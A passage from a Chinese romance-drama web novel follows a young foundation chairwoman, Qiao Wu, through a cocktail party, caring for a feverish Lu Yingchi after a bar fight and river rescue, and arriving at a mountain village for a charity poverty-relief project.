说完后她看了郭力言一眼,后者立刻心领神会给她清出一条道来,护着她离开现场进入宴会厅。 人走后,记者们纷纷回过神去采访其他人,原本一些小心思也彻底熄灭了,这个年轻的理事长看起来并不好拿捏。 有人看着乔梧的背影,叹道:“陆尽之果然从来不按常理出牌,自己不露面不说,还找这么个理事长,他和他身边的人都了不得啊。” 22岁放在其他人身上也不过才从大学走出来而已,就算要进入自家公司都要先历练个几年。 但乔梧已经能够独当一面从容回答主持人的任何问题,还能自如地应付这些记者,气场都能压人几条街。 偏偏陆尽之还真相信她。 这两人真是一个大胆一个敢。 “听说乔梧原本是陆家的管家,他们到底从来挖来这么一个人才。” 刚从另一堆记者群里走出来的秦敛听到停了下来。 讲真,他也很想知道。 难怪乔梧是陆尽之的大动脉,合着还把人给安排到前台来了。 果然管教他那个弟弟还真是大材小用。 等他推开门走进宴会厅时,乔梧已经被不少人围住在打听消息了。 来参加酒会的人都是些有头有脸的人物,自然不会像外面那些媒体那么尖锐,纷纷朝乔梧递出名片,明里暗里打探她的背景。 乔梧让郭力言将所有名片收下,意外跟秦敛对视上,她目光顿了顿,主动喊了一声:“秦总。” 众人被这一声转移注意力,纷纷回头。 虽然乔梧是陆氏的人,但始终还是新人。 秦敛不一样,他已经是秦家明面上的掌权人了,孰轻孰重他们还是分得清的。 “秦总,好久不见!” 秦敛从服务生手里端过来一杯酒,没忍住笑了。 平时乔梧对他进退有度不咸不淡的,今天倒是主动,他跟其他人寒暄完走过去站到她面前:“都做理事长了,这么大事也没跟我说。” 乔梧跟他轻轻碰杯,玩笑道:“这不是担心你又要把我挖走吗?” 秦敛:“你还真别说。” “你弟弟回去怎么样?” “最近挺老实。”秦敛说,“多亏你。” “顺手的事。” 除了陆尽之以外秦敛也算是圈内头部人物,两人熟稔的语气和态度让周围人都大大震惊。 看来这个乔梧真的不容小觑。 见他们说着话,周围人也不好意思再打断,而是散开了。 这会儿秦敛才忍不住压低声音道:“你还挺会用人。” “这是什么话,这叫陆氏秦氏友好交流。”乔梧抿了一口酒,笑道,“打破以前那些两家不合的流言。” 乔梧的确是利用了一下秦敛。 她露脸的目的已经达到了,对于其余没必要的社交她觉得可以省略,现在很多人都是看她是个陌生的小辈所以谁都要过来怀疑试探一下,出于表面的和气她也不能拒绝。 但秦敛的身份可以很好的替她筛选掉一些没事过来撩闲的人,也能抬高她在这些人眼里的价值,有些人自然就会主动却步。 “什么叫流言,也是事实。”秦敛轻笑,“我跟陆尽之本来就不怎么合,也就你还跟他做朋友。” 乔梧打趣:“你不怕我告状?” “告吧。”秦敛一副无所畏惧的样子,依稀还有几分无语,“我现在还在他黑名单里就是因为你。” 那天打完电话继续把他拉黑,这种事情真的只有陆尽之做得出来。 乔梧忍俊不禁。 别人看来陆尽之或许是个天才,但在她看来陆尽之其实是个喜怒都很易懂直白的人,维护人际关系对他来说实在过于困难了。 “别笑。”秦敛说,“用我也是有代价的,下次我再找你你可别跟陆尽之说。” 乔梧想了想:“我尽量。” 主要她觉得陆尽之总会有很多渠道知道。 秦敛好奇问:“这次你们的项目由你全权负责?” “目前是。” 秦敛点点头:“我很期待。” “期待什么?” “期待大动脉到底有多少价值。”秦敛凉声道,“值得我在黑名单里待那么久。” 虽然秦敛知道乔梧的打算,但他也没着急走,跟其他人聊天还没跟乔梧聊有意思,他也不需要去交际什么。 这样一来站久一点,下次乔梧就不能推脱他的帮忙了。 只是他这么打算,乔梧却不愿陪他继续站着了,因为已经有其余的人过来打招呼。 基金会不仅仅靠着陆氏的股份和捐赠来做公益,同样也有跟其他企业合作的项目,乔梧自然是要认识更多的人。 所以当看到合适的人时,她毫不犹豫就把秦敛给落在了身后。 秦敛:“……” 真有你的,难怪你跟陆尽之能玩到一起去呢。 酒会持续到后半场,乔梧大致已经摸清楚了后续可以持续建立的关系,她借口去了一趟洗手间,让自己清醒了一会儿。 她果然还是不太喜欢喝太多酒,眼里一直往上升腾着热意。 陆尽之电话打来的时候,她还在用冰水冲洗指尖退热。 “还没结束?” “快了。”乔梧看了眼时间,“又来报平安?” 陆尽之正在看论坛的直播回放。 下午的时候他还在工作,并没有时间看直播,也相信乔梧能做得很好。 “已经回家了。”听到她说话的声音带着几分惫懒,陆尽之拉进度条的动作顿了顿又恢复如常,看到视频里熟悉的身影上台他才停下,继而道,“你不用喝太多酒。” 只要她不想喝,没人能逼她。 “在外面我的名字你随时可以用。”他说。 乔梧听出他话里的意思,语气带笑:“我不希望下次别人再提到我的时候,在我前面带一个陆尽之的前缀。” 停了秒,又说:“我不是风筝,不用别人牵着线飞。” 陆尽之将视频里的声音调小,穿着黑色礼服的人自信的声音跟手机里带着酒意轻柔的声音结合在一起,他 现在脑海里已经可以浮现出说这话的人是什么表情了。 他轻笑:“嗯,你是鲲鹏。” 乔梧才降下去些许的温度因为这句鲲鹏又重新升了起来,更多了几分精神:“不是报平安,你是来问日报成果的?” “没必要。”陆尽之将短暂的视频片段又划回来重新看了一遍,“看时间差不多了,来确定你的平安。” 乔梧怔了下:“我的?” 陆尽之尾音轻轻上扬:“怎么,你那些规则不包括你自己?” 还真不包括。 “我不会犯那些错误。” 可能是真的被酒意控制了大脑,她说话时都带着平时没有的自豪。 过去陆尽之很少能在乔梧身上看到符合一个孩子的天真,但这一刻却意外的感受到了,还挺奇妙的。 应该打视频的。 他想看看她现在是什么表情。 这么想他也的确打算这么做了,但没等他动手,乔梧却道:“我该出去了,我很平安,应该不久就会回酒店,放心。” 陆尽之有点遗憾:“嗯。” 电话挂断以后,他又找到了采访时的视频。 虽然提问的人很没有礼貌,但回答的人却深得他心。 他和她是很好的朋友。 陆尽之将这句话来回翻着听了好几遍,直到他手机上收到乔梧发来的微信。 乔梧:“今晚写不了日报了,不过很顺利,聊了几个合作[超酷.jpg]。” 超酷。 说不会犯错误的她原来是这个表情。 陆尽之记住了这次的遗憾,并且决定下次电话不如视频。 这边乔梧才回到宴会厅里,郭力言就给她递了杯蜂蜜水。 这些年他别的可能没什么经验,但照顾人是一流的:“接下来我给您换点水吗?” “不用,我不喝了。” 乔梧并不希望自己应酬得烂醉,这样会很不可控。 乔梧问:“刚才那些名片都记下来了?” “记下了。”郭力言立刻道,“我晚点回去整理,把需要用到的都给您。” “明天再做吧,今天辛苦你了,早点休息。”乔梧说,“准备车……” 话没说完,她的手机又响了。 低头一看是陆应池打来了,这么晚了他是又过来了? “喂?” “您好,请问是乔梧吗?”那边是一个陌生的男声。 “嗯,你是?” “我是陆应池的班长,实在不好意思打扰你,但是我们刚才在这儿跟人起了点冲突,陆应池他受了点伤,我们有点担心他,他之前说原本晚上要去找你的,所以我这才给您打电话。” 乔梧蹙眉:“地址。” 此时金融一班好些人都挤在同一个房间里,看着坐在床上湿漉漉的陆应池手无足措。 之前在清吧里,建工喝了点酒的那些人看到他们班来找人的团支书后开始起哄。 原本建工那个班有个男生军训的时候就开始追团支书,被拒绝了很多次还总是死皮赖脸地缠人,所以连带金融一班的人对那些人印象就不好,打球的时候两边还闹了起来,事后闹到辅导员那里去才消停。 今天没想到遇上了,那些人还起哄,几个大男人围着团支书不让走。 班里这么多坐在这儿的男生怎么能忍,年轻人的火一点就着,费景明先过去,后面的人紧紧跟着,瞬间就踢翻了几个凳子。 坐在最角落里的陆应池还没从自己被打断了看视频的状态里反应过来呢,这板凳就乱飞了,还有个杯子砸到了他额头上。 他刚站起身就见有个女生被挤得掉进了清吧旁边的那条河里。 “都他妈给老子停手!”陆应池几步踩着桌面从角落里出来,边说边冲过去,想也没想就跟着下去救人了。 混乱里也不知道是谁喊了一声陆应池,本来一发不可收拾的场面丢顿时就消停了下来。 “愣着干什么!”费景明冲到河边,“捞人啊!” 建工那些人一看,掉河里的是踏马陆应池么?!陆应池可是火到全校都知道地步,什么时候跟这些普通人玩到一起去了? 结果陆应池不仅玩到一起去了,还插手了,还冲河里了。 这不完了吗! 不过陆应池是游泳熟手,很快就把掉水里的女生给救起来了。 但这会儿谁都没敢出声,就怕下一秒陆应池问起来是谁干的,他脑袋还流血了! 女生跑去看落水的女孩,男生跑来围着陆应池:“你没事吧?” 陆应池满是戾气地挥开伸过来的手,死死地盯着建工那些人,下一秒就像是要把人给活剐了。 可过了好一会儿,却只是见他胸膛剧烈起伏,再没有其他动作。 有个人颤颤巍巍上前:“陆…陆哥。” “滚!”陆应池把人推开,几步走到桌前拿起自己还放在桌面的手机。 站在暗处浑身湿透的少爷指着团支书:“谁骚扰你了?” 团支书弱弱指了个人。 紧接着就看到听到陆应池报警了。 “书读到狗肚子里了,法制频道没看过?”狼狈的陆少爷挂了电话后气得开始自言自语,“老子不想被打马赛克被人探监。” 妈的,也不知道乔梧会不会去探监。 她说过不会去的。 所有人:“……” 最后是辅导员去警察局把班里的人给领回来的,也不是他们挑的事,所以最后也没说什么。 但陆应池这个房间被同学们挤满了。 “哥。”叶梁看着满脸黑气在那坐了很久、额头贴了个花里胡哨的创可贴,却还是不愿意去洗澡的陆应池,试着问,“我拿我的衣服给你换,你将就一下?” 这个点已经买不到衣服了。 “不用。”陆应池被盯得烦,“都看着我干什么,该干嘛干嘛去。” 他不穿别人的衣服,这民宿里的浴巾他看着就觉得身上发痒,根本不愿意在这儿洗澡。 要是回爷爷奶奶那边的房子也太远,而且一定会被那里的佣人告到乔梧那里去。 所以他准备一会儿自己去外面找个酒店,但这些人都围在这儿,严肃得搞得要送他出殡一样,他根本没脸站起来。 就在这时,民宿走廊里传来高跟鞋踩在木质地板上的声音。 那清脆的声响最后停在了门口,随即敲门声响起。 站在门口的同学们最先回头看到了来人,登时眼珠子瞪得很圆。 因为陆应池的关系,同学们都看了综艺和那个慈善论坛的直播,自然认得来人是谁。 当电视里的人突然出现在眼前,瘦瘦高高,在灯下白得仿佛会发光,五官甚至比电视里看着更加立体漂亮,她脸上没什么笑意,黑色的礼服衬得她高不可攀,几个小年轻当场结巴。 “陆、陆哥,好像是你家里人来了!” 坐在床上的陆应池皱眉,什么家里人? 他家里没人,都是狗。 等等…… 他猛地站起来。 “我担心你,所以刚才借你的电话给你那个姐姐打了个电话。”费景明解释,“你别急。” 陆应池不急。 他怎么踏马的不急。 乔梧不让他打架的! 郭力言对门口呆愣的同学们道:“抱歉,麻烦让一让。” 这下大家才反应过来让路,也让乔梧看清了陆应池的模样。 班长给她打电话的时候说明了情况,但陆应池现在的情况远比她想象的要糟糕一点。 像是湿漉漉没人要的狼狈小狗。 陆应池早就忘了自己还在跟乔梧赌气,他左右都没找到地方遮挡一下自己,只能干巴巴地站在那,见人走过来好半天他才憋出一句:“我没动手。” “嗯。”乔梧抬起手,“我看看头。” 陆应池浑身都是臭臭的河水味道,此时乔梧身上的香味扑鼻而来,他有点发蒙。 反应过来之前就已经低下了头,又偷偷闻了闻。 “你喝酒了。”他说。 乔梧随口应着,陆应池的伤口没被处理过,创可贴没贴住的地方都还有血渍,揭开创可贴看到一道口子,倒是不算深。 她暂时放下心:“还有其他地方受伤吗?” 陆应池被酒味和香味围绕,晕晕乎乎的:“没有。” “好。”乔梧收回手,“走吧。” 陆应池视线一直随着她的手腕移动:“去哪?” “酒店,给你开好房间了。” 白天还说着不会去找她的陆小狗尾巴摇了摇:“噢。” 乔梧这才回头看向屋子里的其他同学:“班长是哪位同学?” 费景明立刻举手:“我!” 乔梧对他笑了笑:“谢谢你给我打电话,你们早点休息,陆应池我带走了。” “不客气不客气。”费景明赶紧让人给她让路。 来去不过简单的两分钟,但屋子里的人直到高跟鞋的声音消失都还陷在那人的一颦一笑里出不来。 叶梁愣愣地说:“我好像知道为什么陆应池会因为偏向两个字发疯了。” 被这样的人偏向,是奢求。 抓住了没人会想放开的。 跟着乔梧来到酒店,浑身难受的陆应池没有先去洗澡,他站在门口皱着眉:“我没让他们给你打电话。” “我知道。” “你生气了?” “没有。” “你一直没说话。”陆应池很固执,“还不笑。” 乔梧轻轻叹了口气,无奈:“看到你这个样子,我怎么笑得出来。” “我……”陆应池低头看了自己一眼,这才意识到自己有多狼狈,他飞速抢过郭力言手里给他准备的换洗衣服,冲进了浴室。 等他再出来时,乔梧正坐在沙发上整理东西。 见他来了,她拍拍身边的位置:“过来。” 陆应池闻了闻自己,确定没有异味以后才走过去。 那只带着香味的手再一次抬起来,拿着棉签抵在他额头的伤口上,轻轻擦拭。 “怎么酒味越来越浓了?” 乔梧:“……因为在用酒精给你消毒。” “噢。”陆应池安静了两秒,又问,“你是不是又心疼我了?” “嗯。” 陆应池垂着大脑袋:“那我跟陆宣,你更偏向谁?” 乔梧手腕撤开:“再问这种幼稚的问题,就肯定不是你。” 脑袋发懵的陆应池条件反射拽住了她的手:“还没弄好。” “差不多了,再晚一点该愈合了。”说完后乔梧眉心微蹙,垂眸看向陆应池的手。 陆应池被盯得手指发烫,倏忽松开。 可乔梧却再次伸手上来,微凉的指尖探在他的脑袋上:“陆应池,你发烧了?” 好凉。 陆应池迟钝地眨了眨眼,然后身体僵了一下,瞬间弹开很远,恼羞成怒:“你怎么还骂人呢!” 乔梧:“?” 第47章 第四十七章有没有边界感 反应过来后乔梧直接照着他后脑勺狠狠一巴掌:“你脑子也进水了?” 整天都想些什么乱七八糟的东西。 陆应池这才发现自己的确一直有点晕乎,但他的身体一直强壮得跟牛一样,很少生病,哪怕以前跳楼摔断了腿也精神很好,所以压根就没有想过只是去河里游了一圈就生病了。 “。” 他视线飘忽,“我还以为……” 还以为是被她香迷糊的呢。 吓死他了。 “河水脏,里面微生物多,有可能感染发烧。”乔梧给酒店电话要了温度计。 量完以后果不其然,39度。 陆应池顺势往沙发上一瘫,开始哼哼唧唧:“难受,想吐。” “你这演技不比你哥好到哪去。” “……”陆应池睁开眼睛,怒道,“我都发烧了,你还不知道心疼我!见义勇为知道吗,要奖励的!” 乔梧倒了杯热水给他:“去床上躺,我让郭力言买药来了。” “说到这个我刚才一直没问。”陆应池脑袋的确有点重,呼吸也变得有些缓慢,捧着水杯问,“你什么时候跟他走一块儿去了?” 刚才在民宿的时候他都没反应过来,现在才觉得奇怪。 “他是我新招的助理。” “助理?”陆应池蓦地坐直,“他?” “他怎么了?”乔梧按了按太阳穴缓解一天的疲乏,“人家名校毕业,有眼力见还肯学习吃苦。” “可是……” 可是了半天,陆应池却找不到其他理由反驳。 在他眼里郭力言跟他是一样的人,吃家里的住家里的,在外面游戏人间。 但转眼一晃,人家穿得西装笔挺人模狗样站到乔梧身边做她助理了,他还在跟学校里的人起冲突参加变形记。 乔梧看上的人,应该也还可以。 难怪当初还帮郭力言说话。 他闭着眼不吭声了。 趁着这个机会乔梧也靠在沙发上嘘嘘打盹。 没过多久,郭力言按响了门铃。 陆应池最先睁眼,还没找到焦点的视线最先落在身边的人身上。 她应该也是才转醒,浅瞳目光很缥缈,哪怕化着妆也没遮住她浓浓的倦意,陆应池从来没见过乔梧有这样脆弱的时候。 见她坐直身体要起身,陆应池一把按住:“我去。” 他摇晃着站起来,打开门。 “你还好吧?”郭力言将药递给他,“如果吃了药还没退烧我们就得去医院了。” “没那么矫情。”陆应池转身边拆袋子,看清楚用量后直接就往嘴里塞,就着桌上的水咽了下去。 郭力言跟着进来,这才看到乔梧自从回来连衣服都没换,他道:“不然今晚我睡这里吧?照顾他方便一点,您今天忙了一天早点休息,明天还有活动。” 说实话乔梧不太放心,陆应池很少生病。 但她还没开口陆应池就催促着拉她起来:“让他在这儿,你去睡,我一会儿就好了。” “但是…” “但是什么,我这么大个子,真要起不来了你还能背得起来我?”陆应池不耐地说,“快去吧。” “对,都是男人,我还可以跟他睡一个屋。”郭力言说,“如果等会儿真的不退烧我再给您打电话。” 这么看的确是郭力言更要方便一点。 “明天我给你放假。”乔梧说,“今晚就辛苦你了。” 等乔梧离开后,陆应池才松懈下肩膀,一头扎进了床上。 郭力言先回自己的房间取了换洗的衣服,又拿了工作笔记本上来,很自然地进了陆应池的房间门,却没有真的要跟他睡一张床,而是抱了备用的被子放在旁边的沙发上,打算在那将就一晚。 听见动静的陆应池扭过头:“你干什么呢?” 坐在沙发上的郭力言打开笔记本,闻言抬头:“睡吧,我等你退烧。” “我又不是豌豆公主,也不是万恶的资本家,发个烧而已。”陆应池指着隔壁,“过去睡你的。” 他刚才答应下来不过是想把乔梧哄走而已。 “不行。”郭力言很坚持,“我答应了乔理事长。” 乔理事长,这个称呼真的太新奇了。 陆应池改了主意,他往大床旁边蠕动蠕 动,拍拍身边:“上来睡,我有话跟你说。” 担心郭力言又要拒绝,他道:“要么上来,要么滚出去。” 这下郭力言才没了办法,抱着笔记本坐上去,调低了电脑屏幕的亮度,一边工作一边听这个少爷发牢骚。 “你为什么要跟乔梧工作?”陆应池问。 “去面试之前不知道上司是她。” “我是说你为什么要工作?” 郭力言很意外这位少爷会跟自己说这么正式的话题,他想了想:“想变得有用一点。” 陆应池哦了声:“她挺喜欢你的吧?” 喜欢? 这两个词郭力言从来不敢想,他垂下眼睛:“乔理事长只是认可我的能力,给了我一个机会而已,谈不上喜欢。” 陆应池深以为然:“也是,她喜欢的是我们。” 郭力言:“……” “跟她在一起工作,是不是挺有意思的?” “工作是工作。”郭力言总觉得陆应池说的话都不太对劲,可又说不上来。 他默了几秒,又补充道,“但很幸运。” “你要这么说也对。”陆应池想不出来跟乔梧工作会是什么感觉,“但是每天待在一起应该挺好的。” 他是不是也要去公司找个工作干一干? 郭力言手上的动作顿了顿,转过头看向陆应池:“你是不是……” 话说了一半,看到陆应池闭着眼睛似乎没意识到自己说了什么话,他又收了话音。 “是什么?” “没什么。” 郭力言收回视线,只是工作的效率慢了很多。 其实他想问:你是不是喜欢乔梧。 那么黏她,三句话不离她,还有那么明显的占有欲。 但他觉得以陆应池这种脑子,估计还分不清什么是喜欢,要是真喜欢估计早就去圈地盘了。 郭力言说不清自己现在是个什么心理,因为他不想去当陆应池的情感导师引他开窍。 估计是卑劣吧。 “工作不是为了待在一起。”郭力言说,“这样她不会喜欢的。” 陆应池趴在被子上,也意识到这样到时候会被骂。 “我没那么蠢。”- 乔梧前一天的确太累,中途调了个闹钟起来看到手机上没有收到任何消息以及电话,这才又继续睡下去。 她早早起来去了陆应池的房间,郭力言已经醒了。 “怎么样?” “退烧了。”郭力言说,“之前又发了会儿低烧,吃了药又睡了,现在还好。” 那就不用去医院了。 “你今天就在酒店里吧,等休息好了再飞过去。” “我……” 两人说这话呢,陆应池突然拉开房间门,压着眉说:“我好了。” 听起来声音有点哑,应该是发烧后遗症。 “你们该干什么干什么去。”他说,“我也去。” 乔梧无奈:“你闹什么?” “老头说让我跟着你见识见识。”陆应池回头拿了一件外套套上,一副收拾完了随时可以准备出发的样子,“我还什么都没见识到呢。” “以后有的是机会。” “我真的好了,就是喉咙有点疼。”陆应池走到她面前低下头,“不信你摸。” 额头的确不烫了。 恢复得这么快吗? 乔梧正犹豫着,陆应池却扯着她的衣服:“让我去吧,我不给你拖后腿,昨晚我都没让郭力言真熬夜。” 她将衣摆抽了出来:“给谁拖后腿都不行,你爸让你见识的是昨天的酒会,我今天要飞去其他省,你要是去了赶不及明天回去上课。” 陆应池很坚持:“明天早上没有课,我已经给辅导员请了明天下午的假,所以可以晚上再回来。” 乔梧沉下脸:“陆应池?” “是你说的,我可以在上大学的时间里找到自己想要做什么,我现在就是想去看看。”陆应池难得没被她的语气吓到,“下午的课我会补回来,到时候给你检查行了吧。” 说着还真把跟辅导员的聊天记录给她看了,他倒是会先斩后奏,也跟辅导员说会补上明天的课。 乔梧再三确定了他的身体状态,还打电话问了医生,这才答应了带着他出发。 从苏南直飞目的地一共两小时,但从机场转到这次公益项目的地点还需要再开三个小时的车,郭力言提前在这边租好了车,即便是这样,进了山后大家还是被颠得有些受不住。 前一天坐大巴都吐槽了一路的陆应池脸色惨白。 他发烧都没吐,坐大巴也只是嫌弃位子窄不够伸腿,没想到这会儿倒是吐了,行到一半实在受不了,半路停下来给他呕了个干净。 他惨白着脸回头,副驾驶的乔梧状态依旧好得可以直接上镜,他不禁怀疑人生:“你不觉得恶心吗?” 他的驾照到手不到一年,平时以为零环线的路已经够陡了,没想到还有比那里更夸张的。 全世界他都去过了,就是没找到国内还有这么难以到达的地方,看来零环线能够合法运营,的确是因为足够安全。 可如果他没记错,乔梧应该也是第一次上这种路吧? 连郭力言那么能忍的人现在脸色都不是很好看,她是怎么做到面不改色的。 “还好。”乔梧递了瓶水给他,“你现在后悔已经来不及了。” 陆应池灌了大半瓶水漱口,虚弱地说:“谁后悔谁是狗!” 为了转移自己的注意力,他还特意给陆柠打了个视频电话,一定要让这个小丫头也见见市面。 这会儿的陆柠正坐在藏书楼里看书,只有她一个人,所以她也没有顾及什么,直接开了外放把手机立着放在桌面上。 “哇!好高的山!好多的树!” “陆应池你怎么那么菜还去飙车啊!” “拿远一点,我想看看外面是什么样子。” 陆应池刚把手伸出去,就被前面的乔梧扭头过来睨了一眼:“危险。” “乔梧。”陆柠听见她的声音立刻凑过来,“你下次出去带我吧,我比陆应池能吃苦。” 乔梧听到她那兴奋的语气,哭笑不得:“我不是来秋游的。” “那你们接下来要做什么?”陆柠问,“要在山里待很久吗?你们住在哪里,山里也有酒店吗?” 乔梧耐心回答:“没有酒店,住在村里。” 见两人聊起来了,陆应池干脆直接把手机递过去。 乔梧刚接过来,就见陆柠身后悄无声息多了个人。 陆柠也发现了,她像装了弹簧一样弹起来,桌面立着的手机砰的倒下。 “二叔!” 镜头一震翻转,再次看到人是就是陆尽之那张脸了,镜头里是他的下巴。 乔梧有点感慨,这种死亡角度他都能抗得住。 “还知道叫二叔。”陆尽之轻睨她一眼,“不知道的还以为你见着鬼了。” 你这么无声无息的,跟鬼有什么区别! 陆柠拽了张椅子在旁边坐下,试着伸手:“我的……” 手机。 但她二叔却没有把手机还给她的意思,而是自己看向了镜头,自然而然地聊了起来。 “到哪了?” “大概半个小时到村委会。”乔梧说,“你今天休息?” “下午休息。” 看着镜头里的人,陆尽之觉得自己之前的决定很对,就是要看着人说话才叫说话。 他懒声说:“我不是劳模。” 陆柠小声逼逼:“那你怎么还让乔梧周末加班。” 害得她这周末的逛街时间都没有了。 陆尽之淡声道:“总比去遛鸡有意义。” “?!” 你把我的手机还给我! 陆柠不敢直接动手抢,只好坐在旁边气鼓鼓生闷气。 乔梧听到他们的对话,笑道:“你别欺负她。” “那她得证明自己。” 陆尽之看到她的脸色还可以,心下有些奇怪。 以前他还在国内的时候,也去跟过几次慈善项目,哪怕是他第一次去那些地方都有些狼狈。 “你适应得挺好。” 乔梧当然适应得好,她上一辈子就常常在这种环境下颠簸,否则她也不会胆子那么大跟陆应池去跑圈。 她道:“可能是缘分,我觉得自己跟这里还挺亲近。” 说者无心听者有心。 陆尽之不禁想起过去的十二年,他曾经有想过那段时间她在哪里,可没有任何答案。 难道还能在这些地方? 猜想不如直接问答案:“等你回来可以跟我说说亲近的理由。” “再说吧。” “山里温差大。”陆尽之将自己过去的经验分享给她,“注意安全,到点回电话。” 在这之前乔梧可能听不懂,但现在她居然瞬间就明白陆尽之让她到点记得报平安,没想到还反过来了。 “好。” 趴在车椅后边狗狗祟祟听了很久的陆应池终于发现了不对劲,他指了指手机屏幕:“你们两拿我手机聊挺开心呢?” “你要跟你哥聊聊吗?”乔梧将手机屏幕转向他,” 你哥以前也来过,说不准你们在晕车上有共同语言。” 陆应池翻了个白眼:“你两什么时候这么熟了?” 还能聊天气回电话。 陆尽之是会打电话跟人唠家常的人吗? 他跟陆柠的对话才正常吧。 视频这么久,愣是一句正事儿没说,光唠嗑了,听得他火大。 “陆尽之你有没有边界感,分不清轻重缓急吗?没事儿多谈几个项目搞点钱,别总骚扰其他认真工作的人。”他隔着屏幕肆无忌惮,还敢质问了,“打钱,我流量不要钱吗?” 陆尽之扫到他脸的那一瞬间直接把视频挂了。 陆应池:“……” 他愤怒地指控:“你看看他!他什么态度!” 乔梧好心提醒:“你最好看看自己的卡有没有被冻结。” “???” “经济基础决定上层建筑。” 陆应池没来由一阵心慌,赶紧低下头守着自己的卡有没有被冻结。 陆尽之没这么小气吧,玛德他还真的很小气。 等啊等,半个小时过去了。 “没有。”陆应池得意地说,“他不敢这么嚣张。” “那不一定。”乔梧想了想,“可能是他脾气变好了。” 其实不是脾气变好了。 陆尽之只是担心再冻了谁的卡,谁又没有分寸的跑去跟乔梧一个房间。 他只是闲逛的时候顺便绕到了车库,把陆应池那些爱车的钥匙全都收了起来。 拍照,发送,拉黑。 熟练度简直不像话。 这下陆应池彻底不晕车了,他差点从车里跳下去,打飞的回去跟陆尽之掰头。 “他拉黑我!”他震惊地说,“他收了我的车钥匙还敢拉黑我!” “淡定。”乔梧失笑,“你三哥也还在他黑名单里,你们整整齐齐,噢还有秦敛也是。” “谁踏马要跟他整整齐齐!”陆应池愤怒之余又不太理解,“陆宣也被拉黑了?为什么?陆尽之回国以后没跟陆宣打过几次照面吧?” 乔梧:“他想取代你哥的位置。” “?”那陆应池觉得陆宣一点都不冤枉,“脑子不大,梦想还挺大,不对……” 他盯着乔梧的侧脸:“你怎么对陆尽之黑名单里的人这么清楚?你们都没见过多少次面,他还不嘴炮你,你们什么时候关系这么熟了?” 为什么? 当然是因为每一个人被拉黑都跟她有关。 是啊。 乔梧在这一刻忽然发现自己跟陆尽之的黑名单息息相关。 从这个层面上来说,她的确跟陆尽之很熟。 她没忍住,笑着扬眉:“很早之前。” 第48章 第四十八章二更 这次的公益项目跟乡村扶贫有关,乔梧提前来现场了解情况,如果情况属实接下来三年里基金会就会有一笔定向基金用于这个村的扶贫工作。 到达村头时已经是下午一点半,村里没有公路,所以车没有办法开进去,此时村头的露天坝坝上还停着另外一辆车,有几个人站在车头前说话,其中一人背影看着有点眼熟。 听见引擎声那几人纷纷回头,乔梧才明白那天钟闵说的那句多多指教是什么意思。 原来是在这里指教,他嘴还挺严。 “我靠。”陆应池看到钟闵就应激,“钟禾静什么意思,挖人还挖到这深山老林来了,老子今天让他有来无回!” 他在陆家晚宴上见过这个男的,钟禾静到处介绍他跟其他人认识,是她弟弟。 这荒山野岭的,他连夜就乃伊组特! 乔梧打开车门:“少贫,下车。” 这村里很少有外来车,加上早就约好了时间,几个村干部忙迎上来,却没想到下车的是一个漂亮得跟明星一样的年轻女孩,一时都愣住了。 紧接着又下来两个,无一不精致又贵气,其中还有个脸色不太好看的大高个。 总之,并不是他以貌取人,但实在是不管前面来的这个还是后面这几人,都像是大学生来郊游,不像是企业慈善家。 “您好。”村支书站在最前面,“我是这个村的村支书,请问您怎么称呼?” 乔梧伸手:“乔梧。” “您就是乔女士?!”村支书感慨着人不可貌相,“真是年轻有为,一路奔波辛苦了,这会儿还没吃午饭吧,我们在家里准备了点便饭,几位不嫌弃的话先垫垫肚子?” 他引着人往里走,看到旁边的钟闵后又介绍道:“对了,这位也是来村里考察的慈善家,钟闵钟先生。” 乔梧笑道:“我们认识。” “那就太好了,我们边走边说!” 钟闵原本要走到乔梧面前打招呼的,只是还没跟人对上视线,倒是先跟陆应池打了个照面。 陆应池眼里满是戒备,见状钟闵也只好隔着他喊了一声:“姐。” 陆应池皱眉:“什么姐?你姐姓钟,别乱喊!” “别捣乱。”乔梧把人扒拉开,望向钟闵,“既然要过来怎么不早说,可以一起。” “对这边不熟,昨晚酒会结束就先过来探了下路。”钟闵说,“你昨天走得急,没来得及说。” 昨晚乔梧的确是急着去接人了。 她点点头,倒也没再说什么。 其实有个理由钟闵没说出口,乔梧上次在他姐那说的那些话他至今都记忆犹新。 在乔梧眼里他只是一个担不起责任还愚蠢莽撞的无礼后辈,虽然回到钟家主要是为了自己和弟弟,但他得承认有那么一个原因是不想让这个人再瞧不起他。 他第一次独自接手一个项目,虽然不大。 陆氏是为了整个村子的脱贫,而他仅仅只是过来看看这里孩子们受教育情况。 他不希望项目还没开始,就先在乔梧面前露了怯。 幸好他提前来了,虽然他小时候过得苦,但一直生活在平原地区,这条山路颠得他走走停停,才堪堪到了没一会儿,到现在都还没太缓得过来。 被乔梧看到岂不是又要被小瞧了。 正思考着,一道清冷的声线将他换回神:“钟闵。” 他下意识抬头,对上乔梧淡淡的眸子:“过来。” 几个村干部听到钟闵叫了一声姐后下意识就觉得乔梧是里面说话管事的那个人,所以聊天时重心不经意间就朝她那边偏了。 导致走神的钟闵落后了好几步。 反应过来的钟闵心重重一跳,忙跟了上去。 然后注意到乔梧放慢了脚步,跟他并肩而走,说话时也会时不时朝着他的方向偏移,让他不至于离开话题中心太远,能参与进来。 论坛前那句请多指教只是钟闵大着胆子的一次试探,并没有奢望乔梧真的会帮到他什么。 但他没想到她会这么自然地就将他拉进了自己工作的节奏,毫无保留。 乔梧从来不认为经验的传授是要保留的,钟闵既然叫了她一声姐,她也应了下来,就会说到做到。 而且钟闵说到底也不过只是个大学生而已,自然有很多青涩的地方。 午饭安排在村长的家里,加上司机和带来的保镖,一共搭了两个桌子。 陆应池原本以为前一天的经历已经是变形记了,没想到真正的变形记在这里,他真的很害怕一屁股下去把那个木凳子坐塌,更觉得这空气里隐隐飘着一些肉眼可见的尘埃,外面养着鸡鸭鹅,那些鸡还到处乱跑甚至进了屋子,吃饭做饭和沙发都在同一个屋子里,不串味儿吗? 他僵硬地站着,一句话也没说。 别说他了,郭力言和钟闵表情都诧异了一瞬,但看到乔梧自然坐下后他们也都没吭声,老实坐下。 都是第一次来这种地方,也都是二十出头的年轻人,自然会有很多落差。 他们没料到的是,乔梧居然能适应得这么好。 身边站着一座“山”,乔梧都不用看他的表情就知道他在想什么,轻轻拽了一下他的袖子:“坐下。” 村长局促地说:“家里有些简陋哈。” “没有。”乔梧 脸上看不出来任何异样的神色,只是温声说,“家里弟弟今天发完烧,加上晕车没习惯。” “那是难受啊。”村长马上又站起来,“我去给您弟弟泡点糖水喝会好一点!” 陆应池生怕那水里还有其他东西,顿时坐下,板着脸说:“不用。” 